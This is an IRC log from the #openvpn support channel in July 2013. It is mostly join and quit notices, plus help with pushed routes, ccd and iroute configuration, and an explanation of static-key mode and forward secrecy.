13:17 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
13:18 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
13:20 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
13:23 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
13:24 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds]
13:32 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
13:36 -!- ade_b [~Ade@p5DE8F32D.dip0.t-ipconnect.de] has joined #openvpn
13:36 -!- ade_b [~Ade@p5DE8F32D.dip0.t-ipconnect.de] has quit [Changing host]
13:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:39 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
13:41 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
13:53 -!- asharp [~Adium@216.74.32.228] has joined #openvpn
13:53 < asharp> how can i test for a vpn connection? from the client
13:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:01 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
14:03 -!- PoppySeedPlehzr [~Muffins@69.146.233.50] has joined #openvpn
14:06 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:07 -!- Muffins [~nanderson@69.146.233.50] has quit [Ping timeout: 256 seconds]
14:12 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Read error: Connection reset by peer]
14:12 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
14:18 -!- Netsplit *.net <-> *.split quits: @vpnHelper, pwrcycle_, kisom, eliasp, Dar1us, hjohnson, jtrucks, zu_, emid, zeroXten,  (+4 more, use /NETSPLIT to show all of them)
14:18 -!- JSharpe_ [~JSharpe@90.205.250.10] has joined #openvpn
14:18 -!- Netsplit over, joins: jtrucks, zu_, eliasp, liriel, zeroXten, hjohnson, emid, WinstonSmith, Dar1us, pcdummy (+4 more)
14:20 -!- Netsplit *.net <-> *.split quits: oO0Oo, kro[au], ele__, riddle, simcop2387, defswork, dvl-, newbie|3, DrCode
14:21 -!- Netsplit over, joins: defswork, oO0Oo, newbie|3, kro[au], ele__, dvl-, riddle, DrCode, simcop2387
14:22 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 276 seconds]
14:24 -!- Netsplit *.net <-> *.split quits: thumbs, +hazardous, jzaw, kloeri, nutron|w, piele, Rallias, [fred], ShapeShifter499, Nothing4You,  (+12 more, use /NETSPLIT to show all of them)
14:24 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
14:29 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:29 -!- Netsplit over, joins: thumbs
14:29 -!- Netsplit over, joins: rob0, kloeri
14:30 -!- Netsplit over, joins: piele
14:30 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
14:34 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:34 -!- BtbN [znc@btbn.de] has joined #openvpn
14:34 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
14:34 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
14:35 -!- PoppySeedPlehzr [~Muffins@69.146.233.50] has joined #openvpn
14:35 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
14:35 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:35 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
14:35 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
14:35 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
14:35 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
14:35 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
14:35 -!- nutron|w [~nutron@184.68.34.30] has joined #openvpn
14:35 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-bltsekemjvhrpupy] has joined #openvpn
14:35 -!- [fred] [fred@konfuzi.us] has joined #openvpn
14:35 -!- ServerMode/#openvpn [+v hazardous] by holmes.freenode.net
14:35 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:35 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
14:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:36 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:36 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
14:37 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
14:37 -!- p3rror [~p3rror@41.140.24.122] has joined #openvpn
14:47 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
14:54 -!- Rallias is now known as Gasseus
14:55 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:56 -!- asharp [~Adium@216.74.32.228] has left #openvpn []
14:57 -!- JAVACODER [~JAVACODER@2.190.37.224] has joined #openvpn
15:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
15:20 -!- JAVACODER [~JAVACODER@2.190.37.224] has quit [Read error: Connection reset by peer]
15:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
15:21 -!- mode/#openvpn [+o mattock] by ChanServ
15:27 -!- Gasseus is now known as Rallias
15:33 -!- mattock is now known as mattock_afk
15:33 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
15:44 -!- dvl- is now known as dvl
15:46 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 268 seconds]
15:47 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
15:52 <@krzee> !shotgun
15:52 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
15:58 < kisom> We implemented IP-over-Gunfire a while back
15:58 < kisom> I wonder if you can get a higher bitrate with shotguns
15:59 -!- childofthehorn [~childofth@209-253-157-229.ip.mcleodusa.net] has quit [Remote host closed the connection]
16:00 < MacGyver> Afraid not, the packet loss is horrendous.
16:00 < MacGyver> Jumbo frames using a .50 cal precision rifle does work though.
16:01 <@EugeneKay> I lolt.
16:01 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
16:01 < kisom> .50 is more or less impossible to get over here.
16:04 -!- byte48 [~byte48@unaffiliated/byte48] has quit [Quit: perl for ever!]
16:07 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
16:15 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
16:16 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
16:23 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
16:31 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:33 -!- childofthehorn [~childofth@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
16:43 -!- Denial [Denial@90.202.5.141] has quit []
16:48 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 246 seconds]
16:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:58 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:07 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 268 seconds]
17:08 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:12 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:21 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
17:23 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-qwsvsjkkhjdruzzr] has quit [Excess Flood]
17:27 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-txtpzjyfgwlutpip] has joined #openvpn
17:32 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has joined #openvpn
17:33 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
17:34 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
17:34 -!- uuuppz_ [uuuppz@78.129.207.46] has joined #openvpn
17:34 -!- oc80z [~oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
17:34 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 248 seconds]
17:34 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
17:34 -!- uuuppz [uuuppz@78.129.207.46] has quit [Ping timeout: 248 seconds]
17:34 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Ping timeout: 248 seconds]
17:34 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rlrkctxwesmlqntd] has quit [Ping timeout: 248 seconds]
17:34 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 248 seconds]
17:34 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Ping timeout: 248 seconds]
17:34 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
17:34 -!- nohitall [nohitall@gateway/shell/anapnea.net/session] has joined #openvpn
17:34 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
17:34 -!- _b00b is now known as b00b
17:34 -!- LeLutin_ [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
17:34 -!- nohitall [nohitall@gateway/shell/anapnea.net/session] has quit [Changing host]
17:34 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-kpouopatzldmlrzw] has joined #openvpn
17:34 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:35 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
17:36 -!- Netsplit *.net <-> *.split quits: nohitall, oc80z
17:40 -!- masquerade [~robertdea@c-67-188-111-115.hsd1.ca.comcast.net] has joined #openvpn
17:46 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
17:47 -!- PoppySeedPlehzr [~Muffins@69.146.233.50] has quit [Read error: Connection reset by peer]
18:02 -!- Netsplit over, joins: oc80z
18:03 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-lwbndqkaurijpvdh] has joined #openvpn
18:21 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  Try HydraIRC -> http://www.hydrairc.com <-]
18:24 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
18:27 -!- |1li is now known as fractaleyezd
18:32 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:35 -!- walp [~walp@69.197.136.186] has joined #openvpn
18:36 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
18:37 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
18:44 -!- fractaleyezd is now known as |1li
18:48 -!- master_of_master [~master_of@p4FF24862.dip0.t-ipconnect.de] has joined #openvpn
18:49 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 264 seconds]
18:51 -!- master_o1_master [~master_of@p4FF249BA.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
18:52 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Read error: Connection reset by peer]
18:52 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
18:53 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
19:04 -!- klein [~klein@177.101.114.141] has joined #openvpn
19:04 -!- klein [~klein@177.101.114.141] has quit [Changing host]
19:04 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:09 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
19:33 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
19:41 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
19:48 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
19:48 < darknyan> Is there a Chinese translation of OpenVPN?
19:48 < darknyan> I can't seem to find one.
19:59 -!- raidz is now known as raidz_away
20:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 256 seconds]
20:03 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
20:03 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
20:13 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:20 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
20:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
20:29 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
20:30 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:31 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Client Quit]
20:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:40 < BtbN> darknyan: you mean with builtin content blocker?
20:40 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
20:41 < darknyan> BtbN, A bit confused what you are saying here.
20:41 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:41 < BtbN> well, i'm confused how a language neutral vpn software should be translated at all.
21:14 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
21:15 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:16 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:21 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
21:29 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:29 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:30 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:32 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Client Quit]
21:39 -!- masquerade [~robertdea@c-67-188-111-115.hsd1.ca.comcast.net] has quit [Quit: Lost terminal]
21:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:52 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
21:54 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
21:59 <@ecrist> BtbN: the help, man page, etc, could all be translated
21:59 <@ecrist> he's probably referring to the GUI, though
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:06 -!- HaxCore [~p3rror@41.140.25.116] has joined #openvpn
22:08 -!- p3rror [~p3rror@41.140.24.122] has quit [Ping timeout: 256 seconds]
22:33 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
22:43 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
--- Day changed Fri Jul 26 2013
00:12 -!- Improv [~pgunn@dachte.org] has quit [Ping timeout: 245 seconds]
00:14 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
00:38 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
00:38 -!- mode/#openvpn [+o krzee] by ChanServ
00:39 -!- ugoub [~wangz@184.22.125.15] has joined #openvpn
00:44 -!- jnpplf [~jnpplf@unaffiliated/jnpplf] has joined #openvpn
00:45 < jnpplf> http://openvpn.net/index.php/open-source/documentation/security-overview.html -> "In static key mode, a pre-shared key is generated and shared between both OpenVPN peers before the tunnel is started."
00:45 <@vpnHelper> Title: Security Overview (at openvpn.net)
00:45 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
00:46 < jnpplf> Does that mean that the HMAC.key file is sent in the clear?
00:46 -!- trumee [~parul@93.186.144.251] has quit [Read error: Connection reset by peer]
00:46 < jnpplf> Or is it talking about out-of-band sharing?
00:47 -!- trumee [~parul@93.186.144.251] has joined #openvpn
00:48 < jnpplf> I'm assuming the latter, but am struggling to work out from that page exactly what the file is used for.
00:48 <@krzee> its saying that the person configuring the vpn does it
00:49 <@krzee> hopefully over a secure channel :D
00:49 <+pekster> Yes, you need to pre-share the key like any PSK scheme; same way your home wifi works: you "share" the key with those you allow access
00:49 < jnpplf> So during the tunnel establishment, the contents of that file aren't actually transmitted, they're used as... a key
00:49 < jnpplf> ?
00:49 <+pekster> Indeed
00:50 < jnpplf> So the only way someone is getting that key, AFTER it's been securely shared, is stealing it from wherever it's stored
00:50 <+pekster> This has the pleasant side-effect of not having any notable handshake, at the loss of perfect-forward-secrecy
00:50 <+pekster> !forwardsecrecy
00:50 <+pekster> !forwardsecurity
00:50 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
00:56 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Quit: I'm out y'all!]
01:05 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:10 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:10 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:10 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:15 -!- Devastatr [~devas@186.214.15.4] has joined #openvpn
01:15 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
01:16 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has quit [Ping timeout: 240 seconds]
01:54 -!- harjarX [~oddharjar@ti0018a380-dhcp3067.bb.online.no] has quit [Ping timeout: 240 seconds]
02:21 -!- HaxCore [~p3rror@41.140.25.116] has quit [Remote host closed the connection]
02:29 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 264 seconds]
03:05 -!- excalibr [ubuntu@unaffiliated/excalibr] has quit [Quit: excalibr]
03:10 -!- Denial [Denial@90.202.5.141] has joined #openvpn
03:14 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:58 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
03:58 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
03:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:01 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:20 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
04:33 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
04:43 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
05:01 -!- ugoub [~wangz@184.22.125.15] has quit [Quit: Leaving.]
05:14 -!- JAVACODER [~JAVACODER@2.190.44.17] has joined #openvpn
05:42 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
05:57 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-txtpzjyfgwlutpip] has quit [Excess Flood]
05:59 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-iwxerftcczoaoouh] has joined #openvpn
06:31 -!- itpings [~itpings@89.218.38.200] has quit [Quit: Leaving]
06:50 -!- Devastatr [~devas@186.214.15.4] has quit [Changing host]
06:50 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
06:50 -!- Devastatr is now known as Devastator
06:55 -!- fellipe [~fellipe@gw.conab.gov.br] has joined #openvpn
06:57 < fellipe> Hi. I have a openvpn client, ubuntu 12.04 server, and it is creating a route to the local lan with gateway tun0. I have to manually del this route. Why it's happening? See:  http://pastebin.com/EYAJG0gE
06:57 < fellipe> Please help
06:59 < fellipe> and I am getting: Fri Jul 26 09:02:38 2013 us=383896 beta/xxx.xxx.xxx.xxx:39819 MULTI: bad source address from client [10.50.11.147], packet dropped
07:04  * ecrist looks
07:04 <@ecrist> !configs
07:04 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:04 <@ecrist> I need to see your server and client configs, please
07:09 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-djybojwttrvwxzrc] has joined #openvpn
07:22 < fellipe> ecrist: hi. was it for me?
07:22 <@ecrist> yes
07:22 < fellipe> ecrist: ah, sorry, let me pastebin for you
07:23 < fellipe> ecrist: http://pastebin.com/9aWftgGf
07:24 < fellipe> its the server.conf
07:24 <@ecrist> what route is it creating that you don't want?
07:24 < fellipe> ecrist: and the client wich is creating the duplicated route has this config: http://pastebin.com/dbkrxD2L
07:25 < fellipe> ecrist: here: http://pastebin.com/EYAJG0gE
07:25 < fellipe> ecrist:  10.50.11.0/24
07:25 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 260 seconds]
07:25 <@ecrist> fellipe: it's creating the route because you're pushing that route to clients in your server config
07:25 <@ecrist> line 12
07:26 -!- JSharpe_ [~JSharpe@90.205.250.10] has quit [Read error: Connection reset by peer]
07:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:27 < fellipe> ecrist: ok but why the other clients don't create this route besides the local route?
07:27 < fellipe> ecrist:  let me paste the routes of other client
07:27 <@ecrist> fellipe: your clients will create all the routes that are in the server config
07:27 < fellipe> ecrist: http://pastebin.com/pe5SB07Y
07:28 <@ecrist> see line 6 in your last pastebin
07:28 <@ecrist> that's the route, and it's there
07:30 < fellipe> ecrist: ok, but in this last pastebin, the route for the net 10.50.10.0/24  is only via dev eth0
07:31 < fellipe> ecrist: so even the openvpn restarts, this host don't add a route via tun0 to the same network, wich is the lan
07:32 <@ecrist> my guess is the OS of whatever the client is is refusing to set the new route
07:33 <@ecrist> you can't push a route that conflicts with the local LAN route, or you'll get problems
07:33 <@ecrist> !goal
07:33 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:35 < fellipe> ecrist: yeah, sure, but this is the only client wich is adding a conflicting route
07:35 < fellipe> ecrist: so I need to manually remove this route via tun0
07:35 < fellipe> ecrist: to the lan, wich is obviously
07:36 < fellipe> ecrist: and one more thing: I am getting a lot of lines wich: Fri Jul 26 09:39:30 2013 us=902351 beta/200.162.93.3:52760 MULTI: bad source address from client [10.50.11.6], packet dropped
07:36 < fellipe> ecrist: and others ip address from 10.50.11.0/24
07:37 < fellipe> ecrist: I googled it and I found some stuffs about routes, but it seems everything ok
07:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
07:37 < fellipe> ecrist: any idea?
07:37 -!- tripolar [~u@unaffiliated/tripolar] has joined #openvpn
07:37 < tripolar> hi
07:38 < tripolar> how can i turn of DCHP router address extraction?
07:38 < tripolar> openvpn cuts out my default gw but it shouldn't do this
07:38 < tripolar> of/off
07:40 <@ecrist> fellipe: your server config is broken
07:40 <@ecrist> don't push conflicting routes
07:40 <@ecrist> openvpn isn't doing the wrong thing, you are
07:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:40 < tripolar> ecrist: do you know how i can turn off "Extracted DHCP router address"
07:40 < fellipe> ecrist: ok. I can't remote the pushing routes because the other clients will need them
07:41 <@ecrist> don't know what you're talking about, tripolar 
07:41 < fellipe> ecrist: is it have anything to do with ccd?
07:41 <@ecrist> fellipe: you never answered my goal question
07:41 < tripolar> ecrist: i run dhcp over openvpn and i get this message in my logs
07:41 < tripolar> Extracted DHCP router address
07:41 <@ecrist> !logs
07:41 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:41 < tripolar> and my clients dont get a ddfeault route
07:42 < tripolar> ddfeault route=default gw
07:42 < fellipe> ecrist: well, I have a server and 4 clients and I need the clients be able to access the lan of each other, and the server's lan too
07:42 < fellipe> ecrist: just it
07:42 < tripolar> ecrist:  openvpn(clients)[1033]: Extracted DHCP router address: 10.0.0.1
07:42 < tripolar> how can i stop openvpn from doing this
07:44 < fellipe> ecrist: do you mind to tell me the differences between the push "route 10.50.11.0 255.255.255.0"(server.conf) , route 10.50.11.0 255.255.255.0 (server.conf) and  iroute 10.50.11.0 255.255.255.0 (ccd) ?
07:53 -!- Roelke_ [~Roelke@hostserv.nl] has joined #openvpn
07:55 -!- Roelke [~Roelke@hostserv.nl] has quit [Read error: Connection reset by peer]
08:05 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
08:06 < fellipe> ecrist: ?
08:12 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
08:15 -!- kro[au] [~thatguy@kgovps.com] has quit [Client Quit]
08:15 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
08:17 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
08:22 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
08:23 <@ecrist> fellipe: you're doing it wrong, then
08:24 <@ecrist> you need to be using CCD entries and iroute
08:24 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
08:24 <@ecrist> !iroute
08:24 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
08:24 <@ecrist> !lantolan
08:24 <@ecrist> !lan2lan
08:24 <@ecrist> !route
08:24 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
08:24 <@vpnHelper> behind the server or client
08:30 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:30 < fellipe> ecrist: I am still confused
08:30 < fellipe> ecrist: whit this lots of tips
08:30 < fellipe> ecrist: I am using push route, route and iroute , and just one client is in trouble
08:31 <@ecrist> read the docs.  you should be using ccd with iroute for EVERY client that has a lan
08:32 <@ecrist> that you're pushing to the vpn
08:32 <@ecrist> does the problem client have a ccd entry?
08:34 < fellipe> ecrist: sure, look: http://pastebin.com/0X5rd41p
08:36 < fellipe> ecrist: I am running apt-get upgrade openvpn on the server in a desesperate try
08:38 < fellipe> ecrist: so everything seems to be ok, right?
08:40 < fellipe> ecrist: and  I am still getting: Fri Jul 26 10:44:09 2013 us=30894 beta/200.162.93.3:52760 MULTI: bad source address from client [10.50.11.6], packet dropped
08:41 < fellipe> ecrist: and other 10.50.11. addresses
08:41 -!- JAVACODER [~JAVACODER@2.190.44.17] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
08:42 <@krzee> !iroute
08:42 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
08:42 <@krzee> fellipe, is 10.50.11.6 the lan IP of the client?
08:43 < fellipe> krzee: no, this address is one host within the 10.50.11.0/24 network, wich is behind 10.50.11.10 (vpn client/firewall)
